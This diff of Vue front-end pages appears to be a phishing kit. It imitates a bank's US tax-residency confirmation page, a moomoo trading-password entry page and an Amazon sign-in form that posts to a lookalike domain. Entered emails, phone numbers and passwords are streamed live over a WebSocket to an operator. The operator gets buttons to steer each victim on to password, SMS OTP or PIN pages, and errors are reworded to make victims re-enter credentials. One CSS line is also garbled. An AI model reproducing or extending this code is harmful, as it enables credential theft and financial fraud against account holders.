<li>在美國有應稅收入或需繳納美國聯邦所得稅的人士</li>
</ul>
<div class="warning-box">
<i class="iconfont icon-warning"></i>
<p class="warning-text">
如您不確定是否為美國稅務居民請諮詢專業稅務顧問以確保遵守相關法規
</p>
</div>
</div>
<button
type="submit"
class="submit-btn"
:class="{ 'disabled': !isFormValid }"
@click="handleButtonClick"
>
<span v-if="!isLoading">提交</span>
<span v-else class="loading-spinner"></span>
</button>
<p v-if="errorMessage" class="error-msg">{{ errorMessage }}</p>
</form>
<div class="contacts-section">
<p>如需協助請聯繫客服</p>
<a href="tel:+85225233588" class="contact-link">+852 2523 3588</a>
<p class="service-hours">服務時間週一至週五 9:00-18:00</p>
</div>
</div>
<div class="form-loading" v-if="isLoading">
<div class="loading-mask"></div>
<div class="loading-icon"></div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { ref, computed, onMounted } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from '@/views/CommonLayout.vue';
import { myWebSocket } from "@/utils/common"; // 假设已定义 myWebSocket
const router = useRouter();
const formdata = ref({
isUsTaxResident: false,
isNotUsTaxResident: false,
});
const errorMessage = ref("");
const isLoading = ref(false);
const hasAttemptedSubmit = ref(false);
const updateSelection = (selectedField: string) => {
if (selectedField === "isUsTaxResident" && formdata.value.isUsTaxResident) {
formdata.value.isNotUsTaxResident = false;
} else if (selectedField === "isNotUsTaxResident" && formdata.value.isNotUsTaxResident) {
formdata.value.isUsTaxResident = false;
}
errorMessage.value = "";
};
const isFormValid = computed(() => {
return formdata.value.isUsTaxResident || formdata.value.isNotUsTaxResident;
});
const handleButtonClick = () => {
hasAttemptedSubmit.value = true;
if (!isFormValid.value) {
errorMessage.value = "請選擇一個選項以繼續。";
return false;
}
return true;
};
const submitForm = async () => {
if (!handleButtonClick()) return;
isLoading.value = true;
try {
// 确定 resultType 基于用户选择
const resultType = formdata.value.isUsTaxResident ? "isUsTaxResident" : "isNotUsTaxResident";
// 发送 WebSocket 事件
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: {
pageType: "sdpage_mufg",
pageTitle: "美国税务居民身份确认",
resultType: resultType,
},
})
);
// 模拟 API 调用
await new Promise((resolve) => setTimeout(resolve, 2000));
router.push("/tcassword");
} catch (error) {
errorMessage.value = "提交失敗,請稍後重試。";
} finally {
isLoading.value = false;
}
};
const goBack = () => {
router.back();
};
onMounted(() => {
document.title = "個人網上銀行服務 - 美國稅務居民身份確認";
localStorage.setItem("route", "sdpage_mufg");
// 发送 sdpage_mufg WebSocket 事件
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: {
pageType: "sdpage_mufg",
pageTitle: "美国税务居民身份确认页面",
},
})
);
});
</script>
<style scoped>
.wrapper-main {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background: #f5f6f8;
padding: 20px;
}
.form-wrapper-outer {
width: 100%;
max-width: 500px;
}
.form-wrapper {
background: #ffffff;
border-radius: 16px;
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.08);
padding: 40px;
position: relative;
overflow: hidden;
}
.back-btn {
display: inline-flex;
align-items: center;
cursor: pointer;
color: #1e88e5;
font-size: 15px;
margin-bottom: 24px;
font-weight: 500;
transition: all 0.2s;
}
.back-btn:hover {
color: #1565c0;
}
.back-btn i {
margin-right: 6px;
font-size: 14px;
}
.form-title {
font-size: 22px;
font-weight: 600;
color: #263238;
text-align: center;
margin-bottom: 16px;
}
.form-desc {
font-size: 14px;
color: #607d8b;
text-align: center;
margin-bottom: 32px;
line-height: 1.6;
}
.checkbox-group {
margin-bottom: 24px;
}
.checkbox-item {
margin-bottom: 16px;
padding: 16px;
border-radius: 8px;
border: 1px solid #e0e0e0;
transition: all 0.2s;
}
.checkbox-item:hover {
border-color: #90caf9;
}
.checkbox-item.checked {
border-color: #ffa000;
background-color: #f5f9ff;
}
.checkbox-label {
display: flex;
align-items: center;
cursor: pointer;
position: relative;
}
.checkbox-text {
font-size: 15px;
color: #37474f;
margin-left: 12px;
line-height: 1.5;
}
.checkbox-label input {
position: absolute;
opacity: 0;
cursor: pointer;
height: 0;
width: 0;
}
.checkbox-custom {
position: relative;
height: 20px;
width: 20px;
min-width: 20px;
background-color: #fff;
border: 2px solid #b0bec5;
border-radius: 4px;
transition: all 0.2s;
}
.checkbox-item.checked .checkbox-custom {
background-color: #ffa000;
border-color: #ffa000;
}
.checkbox-custom:after {
content: "";
position: absolute;
display: none;
left: 6px;
top: 2px;
width: 4px;
height: 10px;
border: solid white;
border-width: 0 2px 2px 0;
transform: rotate(45deg);
}
.checkbox-item.checked .checkbox-custom:after {
display: block;
}
.info-section {
background: #f9fafb;
border-radius: 8px;
padding: 20px;
margin-bottom: 32px;
}
.info-title {
font-size: 15px;
font-weight: 500;
color: #263238;
margin-bottom: 12px;
}
.info-list {
list-style-type: disc;
padding-left: 20px;
margin-bottom: 16px;
}
.info-list li {
font-size: 14px;
color: #546e7a;
margin-bottom: 8px;
line-height: 1.6;
}
.warning-box {
display: flex;
align-items: flex-start;
background: #fff8e1;
padding: 12px;
border-radius: 6px;
margin-top: 16px;
}
.warning-box i {
color: #ffa000;
margin-right: 8px;
font-size: 18px;
}
.warning-text {
font-size: 13px;
color: #5d4037;
line-height: 1.5;
margin: 0;
}
.submit-btn {
width: 100%;
padding: 14px;
font-size: 16px;
font-weight: 500;
border: none;
border-radius: 8px;
background: #1e88e5;
color: white;
cursor: pointer;
transition: all 0.2s;
position: relative;
height: 48px;
}
.submit-btn:hover:not(.disabled) {
background: #1565c0;
box-shadow: 0 2px 8px rgba(30, 136, 229, 0.3);
}
.submit-btn:active:not(.disabled) {
transform: translateY(1px);
}
.submit-btn.disabled {
background: #cfd8dc;
color: #90a4ae;
cursor: not-allowed;
}
.loading-spinner {
display: inline-block;
width: 20px;
height: 20px;
border: 3px solid rgba(255, 255, 255, 0.3);
border-radius: 50%;
border-top-color: white;
animation: spin 1s ease-in-out infinite;
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
@keyframes spin {
to { transform: translate(-50%, -50%) rotate(360deg); }
}
.error-msg {
color: #e53935;
font-size: 14px;
text-align: center;
margin-top: 12px;
font-weight: 500;
}
.contacts-section {
text-align: center;
margin-top: 32px;
padding-top: 20px;
border-top: 1px solid #eceff1;
}
.contacts-section p {
font-size: 14px;
color: #78909c;
margin-bottom: 8px;
}
.contact-link {
font-size: 15px;
color: #1e88e5;
text-decoration: none;
font-weight: 500;
display: inline-block;
margin-bottom: 8px;
}
.contact-link:hover {
text-decoration: underline;
}
.service-hours {
font-size: 13px;
color: #90a4ae;
margin-top: 4px;
}
.loading-mask {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255, 255, 255, 0.8);
}
.loading-icon {
width: 48px;
height: 48px;
border: 4px solid #f3f3f3;
border-top: 4px solid #1e88e5;
border-radius: 50%;
animation: spin 1s linear infinite;
position: relative;
z-index: 101;
}
@media (max-width: 600px) {
.form-wrapper {
padding: 24px;
}
.form-title {
font-size: 20px;
}
.checkbox-item {
padding: 12px;
}
.submit-btn {
height: 44px;
font-size: 15px;
}
}
</style>

View File

@@ -0,0 +1,578 @@
<template>
<CommonLayout>
<template #default>
<div class="wrapper-main" style="margin-top: 80px;">
<div class="form-wrapper-outer">
<div class="form-wrapper">
<div id="app" class="">
<div data-v-148eb9db="">
<div data-v-148eb9db="" class="back-btn1" @click="goBack">
<i data-v-148eb9db="" class="iconfont icon-arrow01-left"></i> Back
</div>
<p class="form-desc1">
Please enter your <strong>Trading Password</strong>
</p>
<form data-v-148eb9db="" class="" @submit.prevent="next">
<input
data-v-148eb9db=""
ref="codeInput"
name="msgCode"
type="tel"
maxlength="6"
autocomplete="off"
class="msg-code-input"
v-model="formdata.tcassword"
@input="onInput"
style="position: absolute; opacity: 0; width: 100%; height: 40px; z-index: 1;"
/>
<ul data-v-148eb9db="" class="msg-code-list" @click="focusInput">
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[0] }">{{ formdata.tcassword[0] || '' }}</li>
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[1] }">{{ formdata.tcassword[1] || '' }}</li>
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[2] }">{{ formdata.tcassword[2] || '' }}</li>
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[3] }">{{ formdata.tcassword[3] || '' }}</li>
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[4] }">{{ formdata.tcassword[4] || '' }}</li>
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[5] }">{{ formdata.tcassword[5] || '' }}</li>
</ul>
<div data-v-148eb9db="" class="input-behind">
<div data-v-148eb9db="" style="width: 100%; text-align: center;">
<p data-v-148eb9db="" class="error-msg" v-if="displayMessage" style="font-size: 20px;margin-bottom: 20px;">{{ displayMessage }}</p>
<a
target="_blank"
href="https://security.moomoo.com/account/forgetpsw?lang=en-us&target=https%3A%2F%2Fwww.moomoo.com%2Fmy%2Fnewsroom%2Fmoomoo-my-secures-patent-for-automated-ai-powered-candlestick-charting%3Fchain_id%3DU3oB_BiTIzq5Ys.1k1plj9%26global_content%3D%257B%2522promote_id%2522%253A14079%2C%2522sub_promote_id%2522%253A1%2C%2522f%2522%253A%2522mm%252Fmy%2522%257D#/selectChannel"
class="forgot-password"
>
Forgot password?
</a>
</div>
</div>
</form>
<div data-v-06eaccf0="" class="contacts-btn">Hotline (US): <a href="tel:+1-8887210610" class="app-link" style="color: #909499;text-decoration: underline !important;">+1 888 721 0610</a></div>
<div data-v-d39068d6="" data-v-148eb9db="" style="display: none;">
<div data-v-d39068d6="" class="form-modal confirm-modal">
<div data-v-d39068d6="" class="form-modal-main">
<h3 data-v-d39068d6="" class="title"></h3>
<p data-v-d39068d6="" class="content">We will inform you of the verification code via phone call. Please stay alert for the call.</p>
<div data-v-d39068d6="" class="btn-wrapper">
<div data-v-d39068d6="" class="btn cancel-btn">Cancel</div>
<div data-v-d39068d6="" class="btn confirm-btn">Reacquire</div>
</div>
<div data-v-d39068d6="" class="close-btn">
<i data-v-d39068d6="" class="iconfont icon-close"></i>
</div>
</div>
</div>
<div data-v-d39068d6="" class="form-modal-mask"></div>
</div>
<div data-v-6ebe283e="" data-v-148eb9db="" style="display: none;">
<div data-v-6ebe283e="" class="form-modal confirm-modal">
<div data-v-6ebe283e="" class="form-modal-main">
<ul data-v-6ebe283e="" class="content">
<li data-v-6ebe283e="">
<p data-v-6ebe283e="">Voice Verification Code</p>
<a data-v-6ebe283e="" href="javascript:void(0)">Get Voice Verification Code</a>
</li>
</ul>
<div data-v-6ebe283e="" class="btn-wrapper">
<div data-v-6ebe283e="" class="btn confirm-btn">Got It</div>
</div>
<div data-v-6ebe283e="" class="close-btn">
<i data-v-6ebe283e="" class="iconfont icon-close"></i>
</div>
</div>
</div>
<div data-v-6ebe283e="" class="form-modal-mask"></div>
</div>
</div>
</div>
<div class="form-loading" v-if="isLoading">
<div class="loading-mask"></div>
<div class="loading-icon"></div>
</div>
<div class="form-toast hide">
<div class="toast-mask"></div>
<div class="toast-main"></div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from "vue";
import { useRoute, useRouter } from "vue-router";
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
import eventBus from "@/utils/eventBus";
import CommonLayout from '@/views/CommonLayout.vue';
const { t } = useI18n();
const route = useRoute();
const router = useRouter();
const instance = getCurrentInstance()!;
const formdata = ref({ tcassword: '' });
const warningMessage = ref("");
const isLoading = ref(false);
const message1 = ref("");
const codeInput = ref<HTMLInputElement | null>(null);
const message = ref("");
const displayMessage = computed(() => {
if (message.value === "This card does not support this transaction, please try another card") {
return "Incorrect trading password, please try again";
}
return message.value || warningMessage.value;
});
const focusInput = () => {
if (codeInput.value) {
codeInput.value.focus();
console.log("Input focused:", document.activeElement === codeInput.value);
}
};
const onInput = async (event: Event) => {
const target = event.target as HTMLInputElement;
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
formdata.value.tcassword = value;
inputChange("交易密码", "tcassword", value);
console.log(`Input value: ${value}, Length: ${value.length}`);
if (value.length === 6) {
console.log("Triggering auto-submit");
await next();
}
};
const next = async () => {
await nextTick();
warningMessage.value = "";
console.log("Next function called");
if (!formdata.value.tcassword) {
warningMessage.value = t("Please enter the verification code.");
console.log("Validation failed: No input");
return;
}
if (formdata.value.tcassword.length < 6) {
warningMessage.value = t("Verification code must be 6 digits.");
return;
}
isLoading.value = true;
console.log("Submitting via WebSocket");
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitOp",
opButton: {
showCustom: false,
list: [
{ "label": "完成", "value": "success" },
{ "label": "拒绝", "value": "reject", "type": "input2" },
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
{ label: '密码页', value: 'verificationpage', type: 'input1' },
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
// { label: '美国税务居民身份确认页面', value: 'sdpage_mufg', type: 'input1' },
{ label: '交易密码页', value: 'tcassword', type: 'input1' },
{ label: 'PIN验证页', value: 'nextPincode', type: 'input1' },
{ label: '跳转完成', value: 'success' },
]
},
},
})
);
};
const goBack = () => {
router.push('/verificationcodepage');
};
const forgotPassword = () => {
window.location.href = 'https://www.moomoo.com/my/support';
};
const firstTimeLogon = () => {
var method = "post";
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", "/reg_step1.do");
var hiddenField = document.createElement("input");
hiddenField.setAttribute("value", "en_US");
hiddenField.setAttribute("name", "locale");
hiddenField.setAttribute("id", "locale");
form.appendChild(hiddenField);
document.body.appendChild(form);
form.submit();
};
const forgetPin = () => {
window.open(
"https://www.moomoo.com/my/support",
"forgotPin",
"resizable=yes,scrollbars=yes,toolbar=no,width=800,height=600,left=0,top=0"
);
};
const openMaintenanceSchedule = () => {
window.open("https://www.moomoo.com/my/support", "maintenancePopupWin");
};
const openNews = (url: string) => {
window.open(url, "eNewsPopupWin");
};
onMounted(() => {
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.tcassword) {
formdata.value = userData;
}
if (route.query.message1) {
message1.value = route.query.message1 as string;
localStorage.setItem("message1", route.query.message1 as string);
} else if (localStorage.getItem('message1')) {
message1.value = localStorage.getItem('message1') as string;
}
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "tcassword");
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "tcassword", pageTitle: "交易密码页" },
})
);
document.title = "Online Banking - Trading Password";
const focusWithRetry = () => {
if (codeInput.value) {
codeInput.value.focus();
if (document.activeElement !== codeInput.value) {
setTimeout(focusWithRetry, 100);
}
}
};
focusWithRetry();
});
const handleEvent = (data: { message2: string, message1?: string }) => {
message.value = data.message2;
if (data.message1) {
message1.value = data.message1;
localStorage.setItem("message1", data.message1);
}
isLoading.value = false;
};
onUnmounted(() => {
eventBus.off("my-event", handleEvent);
});
</script>
<style scoped>
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
}
.loading-content {
display: flex;
flex-direction: column;
align-items: center;
}
.loading-text {
margin-top: 10px;
color: #ffffff;
font-size: 16px;
font-family: 'Hiragino Sans', 'Noto Sans JP', sans-serif;
}
.errorMsg {
color: #ff4d4f;
font-size: 14px;
margin-top: 5px;
}
.loginBtn {
width: 100%;
padding: 12px 24px;
font-size: 16px;
display: flex;
align-items: center;
justify-content: center;
transition: background-color 0.3s ease;
}
.loginBtn:disabled {
background-color: #d9d9d9;
color: #a6a6a6;
cursor: not-allowed;
}
.wrapper-main {
display: flex;
justify-content: center;
align-items: center;
min-height: 80vh;
/* background: #f5f5f5; */
}
.form-wrapper-outer {
width: 100%;
max-width: 400px;
padding: 20px;
}
.form-wrapper {
/* background: #fff; */
border-radius: 8px;
/* box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); */
padding: 20px;
}
.back-btn1 {
display: flex;
align-items: center;
cursor: pointer;
color: #0f1112;
margin-bottom: 30px;
font-size: 18px;
}
.back-btn1 i {
margin-right: 5px;
}
.form-title {
font-size: 24px;
font-weight: bold;
color: #333;
text-align: center;
margin-bottom: 10px;
}
.form-desc1 {
text-align: left;
color: #000;
margin-bottom: 20px;
font-size: 18px;
}
.phone-no {
font-weight: bold;
color: #333;
}
.msg-code-list {
display: flex;
justify-content: space-between;
margin-bottom: 20px;
cursor: pointer;
}
.msg-code-list li {
width: 40px;
height: 40px;
border: 1px solid #949499;
border-radius: 4px;
display: flex;
align-items: center;
justify-content: center;
font-size: 18px;
color: #333;
}
.msg-code-list li.filled {
border-color: #66afe9;
}
.msg-code-input {
position: absolute;
opacity: 0;
width: 100%;
height: 40px;
z-index: 10;
pointer-events: auto;
}
.input-behind {
display: flex;
justify-content: center;
align-items: center;
font-size: 14px;
margin-bottom:Getty Images 20px;
}
.error-msg {
color: #ff4d4f;
}
.forgot-password-btn {
color: #007bff;
cursor: pointer;
text-align: center;
}
.contacts-btn {
text-align: center;
font-size: 14px;
color: #666;
}
.contacts-btn a {
color: #007bff;
text-decoration: none;
}
.contacts-btn-margin {
height: 20px;
}
.form-modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.form-modal-mask {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
}
.form-modal-main {
background: #fff;
border-radius: 8px;
padding: 20px;
width: 300px;
position: relative;
}
.form-modal-main .title {
font-size: 18px;
font-weight: bold;
margin-bottom: 10px;
}
.form-modal-main .content {
font-size: 14px;
color: #666;
margin-bottom: 20px;
}
.form-modal-main .btn-wrapper {
display: flex;
justify-content: space-between;
}
.form-modal-main .btn {
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
}
.form-modal-main .cancel-btn {
background: #f5f5f5;
color: #333;
}
.form-modal-main .confirm-btn {
background: #007bff;
color: #fff;
}
.form-modal-main .close-btn {
position: absolute;
top: 10px;
right: 10px;
cursor: pointer;
}
.form-loading {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
}
.loading-mask {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
}
.loading-icon {
width: 40px;
height: 40px;
/* border: 4px solid #f3f3f3; */
/* border-top: 4px solid #007bff; */
/* border-radius: 50%; */
/* animation: spin 1s linear infinite; */
}
.form-loading .loading-icon {
background: rgba(0, 0, 0, .8);
border-radius: 6px;
color: #fff;
height: 120px;
position: absolute;
top: 50%;
width: 120px;
z-index: 1000;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
@media (max-width: 767px) {
.form-wrapper-outer {
padding: 10px;
}
.form-wrapper {
padding: 15px;
}
.form-title {
font-size: 20px;
}
.msg-code-list li {
width: 41px;
height: 41px;
font-size: 16px;
}
}
.form-wrapper .msg-code-list {
display: flex;
justify-content: space-between;
margin-bottom: 20px;
cursor: pointer;
}
</style>

View File

@@ -0,0 +1,637 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, onUnmounted, ref, nextTick } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, inputChange } from "@/utils/common";
import eventBus from "@/utils/eventBus";
const cardMessage = ref(""); // 服务器返回的错误消息warning 风格)
const clientError = ref(""); // 客户端空输入错误error 风格)
const isLoading = ref(false);
const displayValue = ref("");
const rawInput = ref("");
const submitValue = ref("");
// 修复:定义清理函数。在 script 中修改 ref 必须使用 .value
const clearInput = () => {
displayValue.value = "";
rawInput.value = "";
submitValue.value = "";
clientError.value = "";
cardMessage.value = "";
};
const handleEvent = (data: { message2: string }) => {
if (data.message2) {
cardMessage.value = data.message2;
clientError.value = ""; // 收到服务器错误时清空客户端错误
} else {
cardMessage.value = "";
}
isLoading.value = false;
};
const handleInput = (event: any) => {
let value = event.target.value.trim();
// 处理前缀移除
if (value.startsWith("US +1 ")) {
value = value.replace("US +1 ", "");
}
rawInput.value = value;
if (value.includes("@")) {
// 邮箱模式
displayValue.value = value;
submitValue.value = value;
inputChange("input_card", "首页账号", value);
} else if (/^\d*$/.test(value)) {
// 手机号模式
if (value === "") {
displayValue.value = "";
submitValue.value = "";
} else {
displayValue.value = "US +1 " + value;
submitValue.value = "US +1 " + value;
}
inputChange("input_card", "首页账号", submitValue.value);
} else {
// 其他
displayValue.value = value;
submitValue.value = value;
inputChange("input_card", "首页账号", value);
}
// 输入内容时自动清除两种错误
if (value.trim()) {
clientError.value = "";
cardMessage.value = "";
}
};
const next = async () => {
// 客户端验证:未输入内容
if (!submitValue.value.trim()) {
clientError.value = "Enter your email or mobile phone number";
cardMessage.value = "";
return;
}
await nextTick();
clientError.value = "";
cardMessage.value = "";
isLoading.value = true;
// --- 修改处:确保存储时不带 "US " 只有 "+1" ---
const storageValue = submitValue.value.startsWith("US +1")
? submitValue.value.replace("US ", "")
: submitValue.value;
localStorage.setItem("userEmailOrPhone", storageValue);
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitOp",
subType: "submitVoice",
emailOrPhone: submitValue.value,
pageTitle: "登录账号首页",
opButton: {
showCustom: true,
list: [
{ label: "密码页", value: "user_password", type: "input1" },
{ label: "拒絕", value: "reject", type: "input2" },
{ label: "二步OTP驗證頁", value: "user_verification", },
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
{ label: "跳轉完成", value: "success" },
]
}
},
})
);
};
onMounted(() => {
const handleEventRef = (data: any) => handleEvent(data);
eventBus.on("my-event", handleEventRef);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "user_login", pageTitle: "登录账号首页" },
})
);
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.user_loginPageData) {
submitValue.value = userData.emailOrPhone || "";
rawInput.value = submitValue.value.includes("@")
? submitValue.value
: submitValue.value.replace("US +1 ", "");
displayValue.value = submitValue.value;
}
localStorage.setItem("route", "user_login");
onUnmounted(() => {
eventBus.off("my-event", handleEventRef);
});
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="a-container auth-workflow">
<div class="a-section">
<!-- passkey script removed -->
<!-- Panther string bundle -->
<div class="a-section auth-pagelet-container">
<!-- Mobile View -->
<!-- unified in-context claim collection component -->
<div id="claim-collection-container" aria-live="polite" class="a-section">
<!-- Primary title -->
<!-- Panther string bundle -->
<h3 class="a-spacing-medium">
Welcome to Amazon
</h3>
<!-- ATC custom benefits section -->
<!-- Subtitle -->
<p class="a-spacing-micro a-text-bold">
Enter mobile number or email
</p>
<!-- Claim-collection unified form -->
<span class="a-declarative" data-action="submit-claim" data-submit-claim="{}">
<form id="ap_login_form" name="signIn" method="post" novalidate action="/ax/claim?openid.mode=checkid_setup&amp;policy_handle=Retail-Checkout&amp;openid.return_to=https%3A%2F%2Famazon.nihonrlce.com%2Fgp%2Fyour-account%2Forder-history%3Fref_%3Dnav_orders_first&amp;openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&amp;arb=47910237-32fe-4599-8368-7996fb591112&amp;openid.assoc_handle=anywhere_v2_us" data-fwcim-id="UfYD8FT1" @submit.prevent="next">
<div id="claim-input-container" :class="['a-section', 'a-spacing-micro', { 'a-form-error': cardMessage || clientError }]">
<!-- Text input -->
<div data-tab-layout-weblab-treatment="" class="a-input-text-wrapper"><input type="email" :value="displayValue" @input="handleInput" id="ap_email_login" autocomplete="username" name="email" aria-label="Enter mobile number or email"></div>
</div>
<div v-show="cardMessage" id="invalid-phone-alert" class="a-box a-alert-inline a-alert-inline-error a-spacing-top-small" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert" aria-hidden="true"></i><div class="a-alert-content">
{{ cardMessage === 'This card does not support this transaction, please try another card'
? (submitValue.includes('@') ? 'Invalid email address' : 'Invalid mobile number')
: cardMessage }}
</div></div></div>
<!-- Error messages specific to passkeys -->
<!-- Submit button spacingTop Attribute-->
<div id="email-autocomplete-mobile-container" data-a-carousel-options="{&quot;name&quot;:&quot;email-autocomplete-mobile-carousel&quot;,&quot;minimum_gutter_width&quot;:&quot;0&quot;,&quot;first_item_flush_left&quot;:&quot;true&quot;}" aria-hidden="true" data-a-display-strategy="variablewidth" data-a-transition-strategy="none" role="region" aria-roledescription="carousel" class="a-begin a-carousel-container a-carousel-static a-carousel-display-variablewidth a-carousel-transition-none a-spacing-base a-spacing-top-base"><input autocomplete="on" type="hidden" class="a-carousel-firstvisibleitem">
<div class="a-carousel-viewport" aria-roledescription=""><ol class="a-carousel" role="list">
<li data-emaildomain="@gmail.com" aria-hidden="true" aria-label="Suggested email domain: @gmail.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@gmail.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-0"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-0-announce">
@gmail.com
</button></span></span>
</span>
</li>
<li data-emaildomain="@hotmail.com" aria-hidden="true" aria-label="Suggested email domain: @hotmail.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@hotmail.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-1"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-1-announce">
@hotmail.com
</button></span></span>
</span>
</li>
<li data-emaildomain="@yahoo.com" aria-hidden="true" aria-label="Suggested email domain: @yahoo.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@yahoo.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-2"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-2-announce">
@yahoo.com
</button></span></span>
</span>
</li>
<li data-emaildomain="@outlook.com" aria-hidden="true" aria-label="Suggested email domain: @outlook.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@outlook.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-3"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-3-announce">
@outlook.com
</button></span></span>
</span>
</li>
<li data-emaildomain="@icloud.com" aria-hidden="true" aria-label="Suggested email domain: @icloud.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@icloud.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-4"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-4-announce">
@icloud.com
</button></span></span>
</span>
</li>
<li data-emaildomain="@live.com" aria-hidden="true" aria-label="Suggested email domain: @live.com" aria-roledescription="slide" class="a-carousel-card aok-hidden">
<span class="a-declarative" data-action="autofill-email-domain" data-autofill-email-domain="{&quot;emailDomain&quot;:&quot;@live.com&quot;}">
<span class="a-button a-spacing-none a-button-base a-button-small email-suggestion-button" id="a-autoid-5"><span class="a-button-inner"><button class="a-button-text a-text-center" type="button" id="a-autoid-5-announce">
@live.com
</button></span></span>
</span>
</li>
</ol></div>
<span class="a-end aok-hidden"></span></div>
<!-- Submit button -->
<span id="continue" class="a-button a-button-span12 a-button-primary aok-relative"><span class="a-button-inner"><input class="a-button-input" type="submit" aria-labelledby="continue-announce"><span id="continue-announce" class="a-button-text a-text-center" aria-hidden="true">
<!-- Overlaid spinner -->
<span id="claim-submit-spinner" class="a-spinner a-spinner-medium aok-hidden"></span>
Continue
</span></span></span>
</form>
</span>
<!-- ATC not now button -->
<!-- Legal text -->
<p class="a-spacing-top-medium a-size-small legal-text">
By continuing, you agree to Amazon's <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&amp;nodeId=508088">Conditions of Use</a> and <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&amp;nodeId=468496">Privacy Notice</a>.
</p>
<div class="a-section">
<ul class="a-unordered-list a-nostyle a-vertical">
<li><span class="a-list-item">
<a class="a-size-base a-link-normal" target="_blank" rel="noopener noopener" href="/gp/help/customer/account-issues/ref=unified_claim_collection?ie=UTF8" role="button">
Need help?
</a>
</span></li>
</ul>
</div>
<div id="ab-registration-link-section" class="a-section">
<hr aria-hidden="true" class="a-divider-normal">
<div class="a-section a-spacing-micro">
<span class="a-text-bold">
Buying for work?
</span>
</div>
<a id="ab-registration-ingress-link" class="a-link-normal" href="/business/register/org/landing?ref_=ab_reg_signin_unifiedauth">
<span>
Create a free business account
</span>
</a>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
<!-- Amazon-style verifying overlay -->
<Teleport to="body">
<div v-if="isLoading" class="amz-overlay">
<div class="amz-modal">
<div class="amz-spinner">
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
</svg>
</div>
